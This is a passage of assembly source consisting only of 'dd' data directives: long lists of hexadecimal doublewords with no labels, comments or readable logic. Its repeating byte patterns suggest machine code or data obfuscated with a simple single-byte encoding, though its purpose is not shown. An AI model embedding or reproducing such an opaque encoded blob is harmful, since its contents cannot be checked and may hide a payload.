0D308A7A3h, 600FA760h, 58F99BD1h, 5B4849D9h dd 49DA6C5Dh, 49B0DB48h, 452C9B61h, 0A92CDDD3h, 0D308A7A3h dd 500EA768h, 0A920DDD3h, 0D308A7A3h, 500EA768h, 585187B1h dd 0DF0C3058h, 2DB04849h, 0A7A7A725h, 0A3A9FCEDh, 0E5D508A7h dd 0A7A4A999h, 704DA70Fh, 0D5485501h, 0A4A999DDh, 0DDD508A7h dd 0A7A4AA98h, 744DA708h, 0DB4858A8h, 0DDD5409Ch, 0A7A4A9F0h dd 0F4DDD308h, 8A7A4A9h, 0FA760D3h, 0F99BD17Ch, 4849D890h dd 0D8FC5D5Bh, 0B0DB4849h, 579B6150h, 585127DDh, 5DE75758h dd 4849D89Ch, 0D15EB0DBh, 0A4A9E8DDh, 5100B1A7h, 9F3E5858h dd 0A1A968DDh, 0D3585AA7h, 0A4A9E8DDh, 60DDD1A7h, 57A7A1A9h dd 0D99C5DE7h, 5D5B4849h, 4849D9ACh, 0D9044DD3h, 0B2DB4849h dd 5DCCD05Ch, 0A7A2A90Ch, 0A918DDD5h, 0D508A7A1h, 0A1A968EDh dd 48B4DBA7h, 5CE1BFD1h, 0AB585858h, 68EDD5FDh, 0DBA7A1A9h dd 0BFD148B4h, 58585CE1h dd 0D3FDAB58h, 0A4A9F4E5h, 67D30FA7h, 0D1740FA7h, 5DE7579Bh dd 4849D89Ch, 615EB0DBh, 8DDD579Bh, 30585850h, 4849DF1Eh dd 0A724DBB0h, 0E8EDA7A7h, 8A7A4A9h, 0A999E5D5h, 0A70FA7A4h dd 5501704Dh, 99DDD548h, 8A7A4A9h, 0AA98DDD5h, 0A708A7A4h dd 58A8744Dh, 409CDB48h, 945DE757h, 5B4849D8h, 49D9BC5Dh dd 5DB0DB48h, 0A974DDD1h, 0DDD5A7A1h, 0A7A1A974h, 0C2103008h dd 0DDD34849h, 0A7A1A918h, 0A760D308h, 5858654Ch, 9BD15858h dd 49DA74F9h, 7C5D5B48h, 0DB4849DAh, 9B6150B0h, 5CEFDD57h dd 0DDD55858h, 0A7A1A970h, 74DDD308h, 8A7A1A9h, 0CFA760D3h dd 585858A8h, 0CF99BD1h, 5B4849D9h, 49D92C5Dh, 57B0DB48h dd 0DD579B61h, 58585C25h, 0A939DDD5h, 0A708A7A1h, 0A1A970EDh dd 0D48DB0A7h, 9CDBA7A7h, 1F9FD150h, 0A910E5D1h, 0EDA7A7A1h dd 0A7A1A970h, 376C4DA7h, 10F94849h, 0DB4849DAh, 0DDD15CB0h dd 0A7A3A93Ch, 0DDD312B3h, 0A7A3A93Ch, 5DDCE657h, 0A7A1A939h dd 0D9F44DD3h, 9ADB4849h, 2C886153h, 6C4DD34Bh, 0DB4849D9h dd 4D5B5C9Ah, 4849D928h, 4E2D8861h, 0A93CDDD3h, 4DD3A7A3h dd 4849D904h, 0D05CB2DBh, 0A9395DCCh, 0DDA7A7A1h, 0A7A3A93Ch dd 0A910DDD3h, 0DD61A7A1h, 0A7A3A93Ch, 0DDD5F02Ah, 0A7A1A939h dd 3DDDD508h, 8A7A2A9h, 587E40B0h, 5DE75758h, 4849D8C4h dd 0D97C5D5Bh, 0B0DB4849h, 3CDDD150h, 0D3A7A3A9h, 0A3A93CDDh dd 5DD4D5A7h, 0A7A1A939h, 18A790DBh, 585964D8h, 0DDD1A12Dh dd 0A7A1A900h, 0DA644DD3h, 89D14849h, 90618959h, 0E757402Ch dd 49DA404Dh, 0B855D348h, 0D54849D8h, 589A52CCh, 88615858h dd 88B15D2Eh, 57585858h, 0DA1C5DE7h, 0B0DB4849h, 4DDD15Fh dd 0B3A7A1A9h, 3CDDD370h, 5BA7A3A9h, 0A1A904DDh, 0DCE657A7h dd 0A1A9395Dh, 4DE757A7h, 4849D8A4h, 61469ADBh, 0A74C2D88h dd 0A1A904DDh, 0DDD3A7h, 61A7A1A9h, 0A1A904DDh, 0D3922AA7h dd 0A1A900DDh, 4DD61A7h, 2CA7A1A9h, 5DE75722h, 4849D8A4h dd 0DDD30810h, 0A7A3A93Ch, 395DDCD5h, 8A7A1A9h, 0A93DDDD5h dd 0B008A7A2h, 0A7A7F5D7h, 0D1549CDBh, 0A1A97CDDh, 0D9D8F9A7h dd 0AF5D4849h, 5B5858A7h, 49DA6C5Dh, 7CDD6148h, 2DA7A1A9h dd 0DF19306Eh, 61B04849h, 8A7A722h, 0A93DE5D5h, 0A70FA7A2h dd 58A8744Dh, 3CDDD348h, 0D5A7A3A9h, 0A9395DDCh, 0D508A7A1h dd 0A2A93DDDh, 4DA708A7h, 4858A874h, 0D34C9CDBh, 0A1A900DDh dd 0C44DD3A7h, 5B4849D9h, 49D9984Dh, 5CB2DB48h, 0DD598859h dd 0A7A3A93Ch, 0A910DDD3h, 0DD61A7A1h, 0A7A3A93Ch, 0A6E1DA57h dd 54F9A7A7h, 0DB4849DAh, 0DDD15CB0h, 0A7A1A914h, 0A93DD5D5h dd 90DBA7A2h, 64D818A7h, 0A12D5859h, 0A900DDD1h, 98F9A7A1h dd 0DB4849D9h, 0DDD159B0h, 0A7A3A93Ch, 585A4BB1h, 3CDDD358h dd 57A7A3A9h, 3D5DDCEEh, 0D3A7A2A9h, 49D96C4Dh, 4D9ADB48h dd 0D8C04D5Bh, 88614849h, 0FDDB5F2Ch, 0A7A1A90Ch, 3CDDD358h dd 57A7A3A9h, 3D5DDCEEh, 0D3A7A2A9h, 49D9844Dh, 789ADB48h dd 0DD578861h, 5858592Ah, 49D9DCF9h, 5CB0DB48h, 0A93CDD61h dd 0DE57A7A3h, 585858E8h, 0A93CDDD3h, 0E757A7A3h, 49D9704Dh dd 4D5B48h, 0DB4849D9h, 88715FB2h, 3D5DDCD2h, 0D0A7A2A9h dd 0A1A97BDDh, 0DDEE57A7h, 0A7A1A97Bh, 0D9144DD3h, 9ADB4849h dd 26886146h, 0B04DD355h, 0DB4849D8h, 8861779Ah, 0EE573824h dd 0A1A97BDDh, 4DE757A7h, 4849D93Ch, 0D9F455D3h, 0CD54849h dd 88616E52h, 0E7574D26h, 49D9944Dh, 0F855D348h, 0D54849D9h dd 6168520Ch, 57772488h, 0A97BDDEEh, 0E757A7A1h, 49D9CC4Dh dd 0B855D348h, 0D54849D8h, 612B520Ch, 0D3452688h, 49D8F44Dh dd 209ADB48h, 0D9844D5Bh, 88614849h, 0DD9F5225h, 0A7A1A90Ch dd 58585859h, 0A900DDD3h, 0DD61A7A1h, 0A7A3A93Ch, 58C4DB57h dd 0DDD35858h, 0A7A3A93Ch, 0D8C04DD3h, 0B2DB4849h, 0D2885950h dd 0A93D5DDCh, 0DDD0A7A2h, 0A7A1A97Bh, 7BDDEE57h, 0D3A7A1A9h dd 49D9AC4Dh, 4D9ADB48h, 0DA5C4D5Bh, 88614849h, 4DD34E26h dd 4849D9D0h, 57719ADBh, 0D8CC55E7h, 92594849h, 1C248861h dd 7BDDEE57h, 0D3A7A1A9h, 49DA444Dh, 6D9ADB48h, 55268861h dd 0D9A04DD3h, 9ADB4849h, 24886166h, 0DDEE577Bh, 0A7A1A97Bh dd 604DE757h, 0DB4849D9h, 88612F9Ah, 0E7574026h, 49D8944Dh dd 269ADB48h, 52258861h, 0A90CDD9Fh, 5859A7A1h, 0E5DB5858h dd 0A7A1A90Ch, 0D3782D58h, 0A1A914DDh, 3CCDD3A7h, 0D2A7A3A9h dd 0A93D4DCCh, 0CCD0A7A2h, 0A2A93D5Dh, 14DDA7A7h, 0D3A7A1A9h dd 0A3A93CDDh, 0DCEE57A7h, 0A2A93D5Dh, 804DD3A7h, 0DB4849D8h dd 4D5B409Ah, 4849D954h, 522D8861h, 0A90CDD9Fh, 5859A7A1h dd 0DDA75858h, 0A7A3A93Ch, 0A900DDD3h, 0DD61A7A1h, 0A7A3A93Ch dd 0A583DA57h, 0DDD3A7A7h, 0A7A1A914h, 0D9E84DD3h, 0E7574849h dd 49D8C455h, 0DB925948h, 0CCD055B2h, 0A2A93D5Dh, 74DDD3A7h dd 8A7A1A9h, 0EA768D3h, 5DE75750h, 4849D964h, 0D151B0DBh dd 0A1A908DDh, 8DDD5A7h, 8A7A1A9h, 49C20030h, 18DDD348h dd 8A7A1A9h, 4CA760D3h, 58585865h, 0F99BD158h, 4849DA5Ch dd 0D9D85D5Bh, 0B0DB4849h, 579B615Ah, 585AB6DDh, 1CDDD558h dd 8A7A1A9h, 0A908DDD3h, 0D308A7A1h, 340FA760h, 7CF99BD1h dd 574849D9h, 0D9704DE7h, 88594849h, 615FB0DBh, 0ECDD579Bh dd 0F958585Ah, 4849DA6Ch, 0D150B0DBh, 0A2A938DDh, 5AD7B1A7h dd 38F95858h, 5B4849D9h, 49D92C5Dh, 56B0DB48h, 7C4DA708h dd 1485501h, 0A0DD9F3Eh, 5AA7A0A8h, 38DDD358h, 0D1A7A2A9h dd 0A0A958DDh, 0ACDDD5A7h, 8A7A0A8h, 0A8A0EDD5h, 0B4DBA7A0h dd 0E1BFD148h, 5858585Ch, 0EDD5FDABh, 0A7A0A8A0h, 0D148B4DBh dd 585CE1BFh, 0FDAB5858h, 0A908E5D3h, 0D30FA7A1h, 2C0FA767h dd 0E7579BD1h, 49DA485Dh, 4DE75748h, 4849D894h, 0B0DB8859h dd 579B615Eh, 585A52DDh, 5DE75758h, 4849D8CCh, 0D8F85D5Bh dd 0B0DB4849h, 54DDD15Dh, 0D5A7A0A9h, 0A0A954DDh, 103008A7h dd 0D34849C2h, 0A0A8ACDDh, 60D308A7h, 58654CA7h, 0D1585858h dd 5DE7579Bh, 4849D9F0h, 0DA785D5Bh, 0B0DB4849h, 579B615Ah dd 5859EADDh, 48DDD558h, 8A7A1A9h, 705DE757h, 0DB4849D9h dd 0A7085DB0h, 0A4A9E0EDh, 54DDD3A7h, 8A7A0A9h, 0FA760D3h dd 519BD178h, 3E522D83h, 0A948E5DBh, 2C50A7A1h, 5935B15Dh dd 54F95858h, 5B4849DAh, 49D9D45Dh, 4DE75748h, 4849D964h dd 0D051B2DBh, 0A9545DCCh, 0DDD5A7A0h, 0A7A0A949h, 40EDA708h dd 0B0A7A1A9h, 0A7A7DEFFh, 0D1509CDBh, 0E5D11F9Fh, 0A7A0B8A8h dd 0A940EDA7h, 4DA7A7A1h, 4849376Ch, 49D96CF9h, 4DE75748h dd 4849D8CCh, 4DCCE657h, 0A7A0A957h, 995999D1h, 0B0DB90D1h dd 579A615Ch, 58595ADCh, 0ECEDA758h, 0D5A7A4A9h, 0A0A949DDh dd 26B008A7h, 0DBA7A715h, 0DDD5509Ch, 0A7A1A948h, 0D978F908h dd 0B0DB4849h, 0EDA70850h, 0A7A4A9E4h, 0A954DDD3h, 0D308A7A0h dd 780FA760h, 78F99BD1h, 5B4849DAh, 49DA145Dh, 4DE75748h dd 4849D940h, 0D050B2DBh, 0B8B25DCCh, 8351A7A0h, 0DB3E6C2Dh dd 0A1A948E5h, 722D50A7h, 0B8ADDDD5h, 0A708A7A0h, 0A1A940EDh dd 0DDADB0A7h, 9CDBA7A7h, 1F9FD150h, 0B8B4E5D1h, 0EDA7A7A0h dd 0A7A1A940h, 376C4DA7h, 61304849h, 0B04849DFh, 0A7A72C94h dd 0A938EDA7h, 0D508A7A2h, 0A4A999E5h, 4DA70FA7h, 48550170h dd 0A999DDD5h, 0D508A7A4h dd 0A4AA98DDh, 4DA708A7h, 4858A874h, 0B8ADDDD5h, 0D508A7A0h dd 0A4AA98DDh, 4DA708A7h, 4858A874h, 49DF6C30h, 2CDEB048h dd 0D508A7A7h, 0A4AA98E5h, 4DA70FA7h, 4858A874h, 0A949DDD5h dd 0D508A7A0h, 0A4AA98DDh, 4DA708A7h, 4858A874h, 0D36C9CDBh dd 0A0A954DDh, 68D308A7h, 0D3500EA7h, 0A0A8ACDDh, 68D308A7h dd 0A7500EA7h, 0A2A938DDh, 1CDDD3A7h, 61A7A1A9h, 0A2A938DDh dd 7DA57A7h, 0D3A7A7A5h, 0A1A908DDh, 68D308A7h, 0D3500EA7h dd 0A1A918DDh, 68D308A7h, 57500EA7h, 0A93DDDEEh, 4DD3A7A2h dd 4849D974h, 0D9D84D5Bh, 0B2DB4849h, 2C886150h, 0DF76301Fh dd 0ADB04849h, 8A7A72Bh, 0AA98E5D5h, 0A70FA7A4h, 58A8744Dh dd 3DDDD548h, 8A7A2A9h, 0AA98DDD5h, 0A708A7A4h, 58A8744Dh dd 0DF713048h, 91B04849h, 8A7A72Bh, 0AA98E5D5h, 0A70FA7A4h dd 58A8744Dh, 789CDB48h, 0A9E8DDA7h, 0DDD3A7A4h, 0A7A4A9F0h dd 0A9E8DD61h, 0DA57A7A4h, 0A7A7AECEh, 0A9FCDDA7h, 0DDD3A7A3h dd 0A7A3A928h, 0A9FCDD61h, 0D457A7A3h, 0A7A7ACC7h, 0AA98DDD5h dd 0A708A7A4h, 5501444Dh, 0EDA70148h, 0A7A4A9E0h, 376C4DA7h dd 0EDA74849h, 0A7A4A9E4h, 376C4DA7h, 0DDD34849h, 0A7A3A9C8h dd 0A768D308h, 0DDD3500Eh, 0A7A3A9CCh, 0A768D308h, 0DDD3500Eh dd 0A7A3A9C0h, 0A768D308h, 0DDD3500Eh, 0A7A3A9C4h, 0A768D308h dd 607500Eh, 0D9B9103h, 0E030BDD1h, 0A748597Dh, 5D71A04Dh dd 7DE0F948h, 9A054859h, 0D10D585Ch, 0B0809BDh, 58320F0Eh dd 5858D830h, 325B3258h, 305B3258h, 0D8585858h, 0A7502DA7h dd 4933404Dh, 0DB9FD148h, 462DA7A7h, 585425DBh, 1DD34C2Ch dd 784DD354h, 5B4849DAh, 49D9C44Dh, 5EB2DB48h, 986948D1h dd 0ECF917B3h, 0DB4849D9h, 0F085CB0h, 1484DA7h, 9ED14851h dd 84898DBh, 4DA71832h, 485D71B4h, 6DA79BD1h, 4849D9A4h dd 585425DBh, 1DD3502Ch, 0A01DD154h, 1DD55EB3h, 0A01DD1A4h dd 0EA02DA7h, 4DA70F0Bh, 4858A86Ch, 104DA70Fh, 0D1485111h dd 3060780h, 59E09B91h, 9AD85818h, 300F5848h, 4849DF41h dd 0A72A3FB0h, 0A70801A7h, 597DC04Dh, 0DA20FB48h, 30F94849h dd 5B4849D9h, 49D9245Dh, 51B0DB48h, 0DA205D61h, 4F2D4849h dd 49DF5130h, 2A62B048h, 801A7A7h, 6A404DA7h, 20FB485Dh dd 304849DAh, 4849DEB4h, 0A72A7BB0h, 0F9B008A7h, 0FB58585Ch dd 485D69BCh, 49DE9730h, 2A56B048h, 0B008A7A7h, 58585CD4h dd 5979F0FBh, 0DE983048h, 0A1B04849h, 8A7A729h, 585C2FB0h dd 15CFB58h, 0FF304851h, 0B04849DEh, 0A7A729BCh, 5C3AB008h dd 44FB5858h, 30485110h, 4849DED4h, 0A72997B0h, 15B008A7h dd 0FB58585Ch, 4858A808h, 49DE2B30h, 29E2B048h, 0B008A7A7h dd 58585C60h, 58A878FBh, 0DE073048h, 0FDB04849h, 8A7A729h dd 585C7BB0h, 130FB58h, 11304849h, 0B04849DEh, 0A7A729C8h dd 5C56B008h, 84FB5858h, 30485D71h, 4849DE73h, 0A72923B0h dd 0A1B008A7h, 0FB58585Bh, 485D71B0h, 49DE4230h, 293EB048h dd 0B008A7A7h, 58585BBCh, 597DC4FBh, 0DE523048h, 9B04849h dd 8A7A729h, 585B97B0h, 7DF8FB58h, 0B2304859h, 0B04849DDh dd 0A7A72964h, 5BE2B008h, 50FB5858h, 30485958h, 4849DD8Bh dd 0A7297FB0h, 0FDB008A7h, 0FB58585Bh, 48510154h, 49DDE730h dd 294AB048h, 0B008A7A7h, 58585BC8h, 5978D8FBh, 0DDF33048h dd 0A5B04849h, 8A7A728h, 585B23B0h, 209CDB58h, 58A814FBh dd 0D9B0748h, 0A70FBDD1h, 6DA7502Dh, 4849DA04h, 79F44DA7h dd 9FD14859h, 0D9B0507h, 0B09BDD1h, 1DEE570Fh, 5852E150h dd 95E25858h, 0AF949494h, 5BB299BAh, 0D1A40DD1h, 399FDB8Fh dd 5D0A3D1h, 5025D850h, 0D85C2D32h, 0D259501Dh, 3D64501Dh dd 21644C2Ch, 2D64482Ch, 3164542Ch, 3764502Ch, 39645C2Ch dd 1DD85C2Dh, 0EE575950h, 307501Dh, 0D10D9B91h, 4858E0BDh dd 76B05858h, 0E585843h, 0A75D320Fh, 4DA7502Dh, 4858A85Ch dd 54F99FD1h, 0DB4849DAh, 9F615CB0h, 98695C2Dh, 0A73009B3h dd 0D5585857h, 0A7A859DDh, 0A70F08A7h, 5957884Dh, 5DE75748h dd 4849D940h, 85FB0DBh, 0D5542DA7h, 0A7A859DDh, 8B008A7h dd 0DBA7A7FBh, 6DD3549Ch, 4849D8BCh, 0A7A29ED9h, 0A8615858h dd 0A0D15C2Ch, 5A3255B3h, 5C4DA70Fh, 0D14858A8h, 7C7B39Fh dd 0D9B9106h, 0B09BDD1h, 5D30F0Eh, 0D978F950h, 9ED14849h dd 0D8806D5Bh, 0B6DB4849h, 65E75756h, 4849D99Ch, 0B350B7DBh dd 4CEF5712h, 5415D323h, 2154EF57h, 0AA599259h, 0F9A40DD1h dd 4849D9F4h, 58A7A55Dh, 2E9A6158h, 6DE75741h, 4849D994h dd 0F950B6DBh, 4849D9D8h, 5958585Dh, 0A41D7158h, 6DD351B3h dd 4849D928h, 0D35CB6DBh, 0D13EA40Dh, 571F234Ch, 0D9FC5DE7h dd 98DB4849h, 2A9F6142h, 7A8D1F0h, 9B910306h, 0DBBDD10Dh dd 0E0B70B4h, 581BE60Fh, 4DB35858h, 0D8B045D3h, 455B4849h dd 4849D984h, 0ED44D113h, 48493378h, 2A6DB1Eh, 1BE7BE2Eh dd 0B1585858h, 585859FBh, 49DDFB30h, 3762B048h, 80FA7A7h dd 0BAA05D5h, 1704DA7h, 58F94855h, 5B4849D9h, 49D9E45Dh dd 57B0DB48h, 7C4DA708h, 0DB485501h, 45D34C9Ch, 4849DA74h dd 615FB3DBh, 3378E544h, 1D2C4849h, 405DE757h, 0DB4849D9h dd 1DD150B0h, 0B41DD5B4h, 0E56CA708h, 48493378h, 1144DA7h dd 25D94849h, 58595BB4h, 0A7462C58h, 3378E56Ch, 4DA74849h dd 48511110h, 7045E757h, 0DB4849D9h, 44D15DB3h, 493378E5h dd 0AA1DD548h, 3C4DA708h, 0D1484901h, 0A0DBA41Dh, 0DB1A2C5Bh dd 652C5CA0h, 2C5AA0DBh, 1445D360h, 5B4849DAh, 49D8B845h dd 57B3DB48h, 78E54461h, 57484933h, 5858BDDCh, 45E75758h dd 4849D89Ch, 0D9E8455Bh, 0B3DB4849h, 0E544D155h, 48597DB8h dd 585891B1h, 0A7593258h, 5957984Dh, 841DD548h, 0BC1DD508h dd 0B81DD508h, 0B01DD508h, 0AA1DD508h, 0D04DA708h, 0D3485978h dd 49D9B445h, 5BB3DB48h, 762D8061h, 0D96C45D3h, 0B3DB4849h dd 0E544615Ah, 48493378h, 58DCDC57h, 45D35858h, 4849D904h dd 0D978455Bh, 0B3DB4849h, 0E544D154h, 48597DB8h, 45D334B3h dd 4849D8E4h, 0A04DE757h, 594849D8h, 5DB3DB8Bh, 78E54461h dd 2D484933h, 0E564D109h, 48597DB8h, 8801DD5h, 49D8E4F9h dd 4DE75748h, 4849D9C8h, 0B0DB8859h, 44D50850h, 597DB8E5h dd 47300B48h, 0D3485816h, 49D95845h, 0B0455B48h, 0DB4849D8h dd 0D30B52B3h, 49D95445h, 5AB3DB48h, 784DA70Bh, 0D1484937h dd 3378E55Ch, 0DB1F4849h, 0DE5702A7h, 0A7A7A60Ch, 49D9E8F9h dd 5FB0DB48h, 7C4DA708h, 1485501h, 0A7A66DB1h, 30607A7h dd 585C9A91h, 0FBDD10Dh, 0A7502DA7h, 49DA206Dh, 0F44DA748h dd 0D1485979h, 9B05079Fh, 0BBDD10Dh, 2DD30F0Eh, 4825D354h dd 49C2C030h, 4DA70E48h, 48550164h, 482C9851h, 0D1501DD3h dd 0D36FA75Fh, 5C0BA740h, 0DB39869h, 49C24030h, 4DA70E48h dd 48550164h, 482C9851h, 0D1501DD3h, 0D36FA75Fh, 5C0BA740h dd 6DB39869h, 49C18030h, 4DA70E48h, 48550164h, 482C9851h dd 0D1501DD3h, 0D36FA75Fh, 5C0BA740h, 4DB39869h, 49DA54F9h dd 0C05D5B48h, 0DB4849D8h, 5FD155B0h, 58185AE0h, 30607D8h dd 58549A05h, 0DDCD300Fh, 89B04849h, 1A7A734h, 0C04DA708h dd 0FB48597Dh, 4849DA28h, 0F05DE757h, 614849D8h, 49DA285Dh dd 304F2D48h, 4849DDDFh dd 0A734F3B0h, 0A70801A7h, 5D6A404Dh, 0DA28FB48h, 58F94849h dd 5B4849D9h, 49D9F85Dh, 49B0DB48h, 0DA285D61h, 442C4849h dd 3C5DE757h, 0DB4849D9h, 0A7085C98h, 49DA286Dh, 0F44DA748h dd 0FB485979h, 4858A87Ch, 0D10D9B07h, 70B4DBBDh, 0D30F0E0Bh dd 0D31E542Dh, 49DA6465h, 479FDB48h, 98DDA8D1h, 0A75D5D25h dd 99585858h, 45D350A0h, 4849D898h, 0D15F9BDBh, 8BF7579Ah dd 25D18F59h, 6C65D3A0h, 0DB4849D9h, 0A8D14B9Fh, 5D2598DDh dd 5858A75Dh, 50A09958h, 0AC45E757h, 0DB4849D8h, 9AD1579Bh dd 598BF757h, 0AC25D18Fh, 0D9AC65D3h, 9FDB4849h, 0DDA8D140h dd 5D5D2598h, 5858A7A7h, 5748A099h, 0D91C45E7h, 55D34849h dd 4849D9D8h, 4B5304D5h, 0F7579AD1h, 0D18F598Bh, 0A8D1A825h dd 5858A77Dh, 0ACB00858h, 0D1A7A7A2h, 0B705D09Bh, 3DAFA8D1h dd 0BC1DD1A8h, 5858A77Dh, 84B00858h, 0D1A7A7A2h, 0B605D09Bh dd 3DAFA8D1h, 0B81DD1A0h, 5858A77Dh, 9CB00858h, 0D1A7A7A2h dd 0A705D09Bh, 49D890F9h, 2898DB48h, 0F757AAD1h, 7D88D188h dd 585858A7h, 2AE7B008h, 9BD1A7A7h, 57B505D0h, 0DA485DE7h dd 4DD34849h, 4849D97Ch, 5D481CD5h, 0F757AAD1h, 7D88D188h dd 585858A7h, 2ACFB008h, 9BD1A7A7h, 0F9B405D0h, 4849D930h dd 0D17598DBh, 88F757AAh, 0A77D88D1h, 8585858h, 0A72A20B0h dd 0D09BD1A7h, 0A8D1B305h, 0D1AC3DAFh, 0A77D841Dh, 8585858h dd 0A7A21EB0h, 0D09BD1A7h, 90F9B205h, 0DB4849D8h, 0AAD11A98h dd 0D188F757h, 58A77D88h, 0B0085858h, 0A7A7A27Fh, 5D09BD1h dd 0DA5CF9B1h, 98DB4849h, 4DE7571Dh, 4849D8CCh, 0AAD18859h dd 0D188F757h, 58A77D88h, 0B0085858h, 0A7A72A41h, 0D17C9CDBh dd 0B005D09Bh, 0A725EE57h, 0B089A0D1h, 886DE757h, 5B4849D8h dd 49D92C6Dh, 53B6DB48h, 1DD1BEAFh, 619ED180h, 301E2DA6h dd 4849DD35h, 0A732C7B0h, 25EE57A7h, 0EE570FB1h, 570FB025h dd 0FB625EEh, 0B325EE57h, 25EE570Fh, 0EE570FB7h, 570FB525h dd 0FB225EEh, 0B425EE57h, 25EE570Fh, 0A7080FA7h, 4DA7502Dh dd 48550170h, 0B3689CDBh, 0DD0A301Ch, 1B04849h, 57A7A732h dd 0FB125EEh, 0B025EE57h, 25EE570Fh, 0EE570FB6h, 570FB325h dd 0FB725EEh, 0B525EE57h, 25EE570Fh, 0EE570FB2h, 570FB425h dd 0FA725EEh, 502DA708h, 1704DA7h, 9CDB4855h, 3060768h dd 0D10D9B91h, 0B0809BDh, 2DA70F0Eh, 404DA750h, 0D1485D6Ah dd 0D8B4F99Bh, 61104849h, 15DC579Bh, 30585859h, 4849DD15h dd 0A731B7B0h, 0A70B08A7h, 5979F44Dh, 0A850FB48h, 10304858h dd 0B04849DDh, 0A7A73180h, 8509CDBh, 0F44DA70Bh, 0FB485979h dd 4859585Ch, 49D8C8F9h, 5CB0DB48h, 585C5D61h, 0DC574859h dd 58585950h, 49D8FCF9h, 5FB0DB48h, 0A8505D61h, 0DC574858h dd 585858ACh, 8A01DD5h, 8A41DD5h, 585C4DA7h, 9FD14859h dd 49DA58F9h, 0A05D5B48h, 0DB4849D9h, 0A0615AB0h, 0A70B542Bh dd 4933444Dh, 589EB148h, 6DD35858h, 4849D94Ch, 0F9A69EDBh dd 4849D9F8h, 655B9FD1h, 4849D9DCh, 0B354B7DBh, 0A00DD375h dd 78E54C61h, 2D485D6Ah, 0D3A6D178h, 4C61A40Dh, 510178E5h dd 0B4A2A48h, 33444DA7h, 2DA74849h, 544DA750h, 0B34858A8h dd 65631F27h, 4849DAFCh, 4CF9932Ah, 0DB4849DAh, 0E757A498h dd 49D8F04Dh, 61885948h, 0A7752C9Eh, 108ED6Ch, 4DA74855h dd 48493344h, 0D1A425D3h, 178ED64h, 65D34851h, 4858A850h dd 0B8ED64D1h, 0D1485971h, 108ED44h, 6CB34855h, 0DAFC65D3h dd 0DD34849h, 0E54CD1A0h, 485D6A78h, 8E544D1h, 0D3485501h dd 58A85045h, 0E544D148h, 485971B8h, 0D1A405D3h, 178E544h dd 5DA74851h, 4849DAFCh, 91030607h, 0BDD10D9Bh, 5E46FCE0h dd 4B0FB058h, 0E0B5858h, 5405D30Fh, 49D9D8F9h, 4DE75748h dd 4849D940h, 0B0DB8859h, 4CF90850h, 104849D9h, 0F95B3208h dd 4849D890h, 0B8F90810h, 0DB4849D8h, 30085EB0h, 0D8585858h dd 0A7502DA7h, 4933404Dh, 0E0DDD148h, 0DBA7A4A9h, 0A4A8F0FDh dd 0FDDB58A7h, 0A7A4A9E8h, 0A7A0DB58h, 5D6CDC57h, 8CF95858h dd 5B4849D8h, 49D9B45Dh, 50B0DB48h, 0ECDDD508h, 8A7A4A9h dd 49D92CF9h, 2498DB48h, 0D8B45D5Bh, 0D5084849h, 0A4A999DDh dd 0EDA708A7h, 0A7A4A9E0h, 0A86C4DA7h, 0DDD14858h, 0A7A4A9E4h dd 49D8E8F9h, 4DE75748h, 4849D95Ch, 0B0DB8859h, 0E4DD615Dh dd 57A7A4A9h, 585CE3DCh, 9CE5D858h, 60A7A4A9h, 0E5D84A2Dh dd 0A7A4A99Dh, 0D8512D61h, 0A4A99EE5h, 5D2C39A7h, 585CC3B1h dd 99E5D858h, 1FA7A4A9h, 0E5D84A2Dh, 0A7A4A99Ah, 0D8512D11h dd 0A4A99BE5h, 5D2C1EA7h, 585C23B1h, 0DDEE5758h, 0A7A4A9B3h dd 0D9BC4DD3h, 9ADB4849h, 2D88616Fh, 1AE5D84Ah, 65A7A4AAh dd 0E5D8512Dh, 0A7A4AA1Bh, 0B15D2C65h, 58585C08h, 1E2D8351h dd 0A72FF0B0h, 0D09AD1A7h, 0A1BB3ACDh, 1CDDD2A7h, 0D0A7A4AAh dd 0A1BB3BDDh, 0D8E4F9A7h, 0E4D84849h, 0A4AA1C5Dh, 542D18A7h dd 0A9E8DD9Fh, 5859A7A4h, 4AB35858h, 0BB3ADDD2h, 0DD62A7A1h dd 0A7A1BB3Bh, 5C5EDC57h, 80F95858h, 0DB4849D8h, 0D5085EB0h dd 0A4A9ECDDh, 183008A7h, 0D5585B55h, 0A1BB30DDh, 0EDA708A7h dd 0A7A4A9E0h, 0A86C4DA7h, 0DDD14858h, 0A7A4A9E4h, 49D8E8F9h dd 5DB0DB48h, 0A9E4DD61h, 0DC57A7A4h, 58585B9Ch, 0A9ECDDD3h dd 4DD3A7A4h, 4849D958h, 0D051B2DBh, 0BB305DCCh, 1830A7A1h dd 0D5585B55h, 0A4AA98DDh, 0DDD508A7h, 0A7A1BB30h, 5E37B008h dd 9CDB5858h, 579ED154h, 0D89465E7h, 0B3174849h, 2C83511Dh dd 0DCEE574Bh, 0A4AA9865h, 0D0A071A7h, 0AA9865DCh, 75B3A7A4h dd 65DCEE57h, 0A7A4AA98h, 0BA04DDD1h, 0A0D1A7A1h, 0DDD1BFAFh dd 0A7A1BA00h, 0BA04DDD3h, 0CDD3A7A1h, 0A7A1BA00h, 0DCD08871h dd 0A4AA9865h, 0AF611FA7h, 8351EF2Ah, 0E7577B2Ch, 49D8885Dh dd 5DB0DB48h, 9A71AAD1h, 49D97CF9h, 0D05D5B48h, 0DB4849D9h dd 0DCD05FB0h, 0A4AA984Dh, 0D948F9A7h, 4DD34849h, 4849D930h dd 0D9204D5Bh, 0B2DB4849h, 5DCCD053h, 0A7A4AA63h, 5858A730h dd 3BDDD558h, 8A7A1BAh, 0A9B4DDD5h, 0B008A7A4h, 58585DE5h dd 0BA3BDDD5h, 0E08A7A1h, 0AA98DDD5h, 0B008A7A4h, 0A7A736F6h dd 0D1409CDBh, 0A4A9E4DDh, 0D990F9A7h, 0E7574849h, 49D9C04Dh dd 0DB885948h, 0DD6151B0h, 0A7A4A9E4h, 5AF2DD57h, 0DD9F5858h dd 0A7A4A8F0h, 58585859h, 0DC578351h, 58585918h, 49D988F9h dd 0A05D5B48h, 0D84849D9h, 0AAEE5DE4h, 573CA7A4h, 5858CDDDh dd 0DDEE5758h, 0A7A4AA99h, 3C4DE757h, 0DB4849D9h, 8871479Ah dd 0BA3ADDD0h, 0EE57A7A1h, 0A1BA3ADDh, 0E8F908A7h, 5B4849D8h dd 49DA5C5Dh, 5FB0DB48h, 0D353B008h, 6CF9A7A7h, 574849DAh dd 0D9FC4DE7h, 88594849h, 0FB56B0DBh, 48597D88h, 49D9A4F9h dd 0DAF8FB48h, 88F94849h, 5B4849D9h, 49D9485Dh, 4DE75748h dd 4849DA48h, 0D9244D5Bh, 0B2DB4849h, 5DCCD054h, 0A7A4AAEAh dd 